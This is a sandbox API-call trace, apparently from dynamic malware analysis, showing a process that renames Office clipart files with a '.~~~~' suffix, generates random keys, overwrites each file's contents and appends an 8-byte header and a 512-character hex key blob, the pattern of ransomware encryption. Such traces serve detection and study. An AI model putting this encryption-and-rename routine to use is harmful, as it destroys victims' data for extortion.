	[0104.930] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf.~~~~")) returned 1
	[0104.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0104.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.931] GetLastError () returned 0x0
	[0104.932] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2941768) returned 1
	[0104.933] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.933] CryptReleaseContext (hProv=0x2941768, dwFlags=0x0) returned 1
	[0104.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.934] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22492364760) returned 1
	[0104.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa8374310, dwHighDateTime=0x1d60e1e)) 
	[0104.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286ca30
	[0104.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286ca30 | out: hHeap=0x300000) returned 1
	[0104.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293fc78
	[0104.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a650
	[0104.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0104.934] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.935] GetLastError () returned 0x0
	[0104.935] GetLastError () returned 0x0
	[0104.935] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.935] GetLastError () returned 0x0
	[0104.935] GetLastError () returned 0x0
	[0104.937] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffea0e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.937] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x15f2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x15f2, lpOverlapped=0x0) returned 1
	[0104.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.938] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.938] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.938] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.938] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.938] CloseHandle (hObject=0x144) returned 1
	[0104.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293fc78
	[0104.938] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf.~~~~")) returned 1
	[0104.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0104.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.939] GetLastError () returned 0x0
	[0104.940] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2941768) returned 1
	[0104.941] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.941] CryptReleaseContext (hProv=0x2941768, dwFlags=0x0) returned 1
	[0104.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.941] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22493122121) returned 1
	[0104.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa839a470, dwHighDateTime=0x1d60e1e)) 
	[0104.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286ca68
	[0104.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286ca68 | out: hHeap=0x300000) returned 1
	[0104.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293fc78
	[0104.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a6e8
	[0104.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0104.942] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.942] GetLastError () returned 0x0
	[0104.942] GetLastError () returned 0x0
	[0104.942] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.942] GetLastError () returned 0x0
	[0104.943] GetLastError () returned 0x0
	[0104.946] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff587d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.946] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xa783, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0xa783, lpOverlapped=0x0) returned 1
	[0104.947] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.947] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.947] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.947] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.947] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.947] CloseHandle (hObject=0x144) returned 1
	[0104.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293fc78
	[0104.947] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.~~~~")) returned 1
	[0104.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0104.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.948] GetLastError () returned 0x0
	[0105.116] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0105.138] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.138] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0105.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0105.138] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22512865889) returned 1
	[0105.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa8589650, dwHighDateTime=0x1d60e1e)) 
	[0105.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0105.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0105.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0105.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cfc8
	[0105.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cfc8 | out: hHeap=0x300000) returned 1
	[0105.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896158
	[0105.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286aea0
	[0105.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896158 | out: hHeap=0x300000) returned 1
	[0105.140] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0105.140] GetLastError () returned 0x0
	[0105.140] GetLastError () returned 0x0
	[0105.140] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0105.140] GetLastError () returned 0x0
	[0105.140] GetLastError () returned 0x0
	[0105.144] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffab8c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.144] WriteFile (in: hFile=0x11c, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x5474, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x5474, lpOverlapped=0x0) returned 1
	[0105.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0105.221] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.221] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.221] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.221] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.221] CloseHandle (hObject=0x11c) returned 1
	[0105.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0105.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.~~~~")) returned 1
	[0105.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0105.264] GetLastError () returned 0x0
	[0105.264] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0105.265] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.265] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0105.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0105.266] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22525567377) returned 1
	[0105.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa86ba150, dwHighDateTime=0x1d60e1e)) 
	[0105.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0105.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0105.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0105.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cd78
	[0105.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cd78 | out: hHeap=0x300000) returned 1
	[0105.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0105.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a818
	[0105.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.266] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0105.266] GetLastError () returned 0x0
	[0105.267] GetLastError () returned 0x0
	[0105.267] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0105.267] GetLastError () returned 0x0
	[0105.267] GetLastError () returned 0x0
	[0105.269] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc7f6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.269] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x380a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x380a, lpOverlapped=0x0) returned 1
	[0105.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0105.270] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.270] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.271] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.271] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.271] CloseHandle (hObject=0x11c) returned 1
	[0105.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0105.271] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf.~~~~")) returned 1
	[0105.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0105.272] GetLastError () returned 0x0
	[0105.272] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0105.273] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.273] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0105.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0105.274] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22526376537) returned 1
	[0105.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa86ba150, dwHighDateTime=0x1d60e1e)) 
	[0105.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0105.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0105.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0105.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cdb0
	[0105.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cdb0 | out: hHeap=0x300000) returned 1
	[0105.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0105.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b2c8
	[0105.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.274] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0105.275] GetLastError () returned 0x0
	[0105.275] GetLastError () returned 0x0
	[0105.275] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0105.275] GetLastError () returned 0x0
	[0105.275] GetLastError () returned 0x0
	[0105.278] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff7664, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.278] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x899c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x899c, lpOverlapped=0x0) returned 1
	[0105.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0105.279] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.279] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.280] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
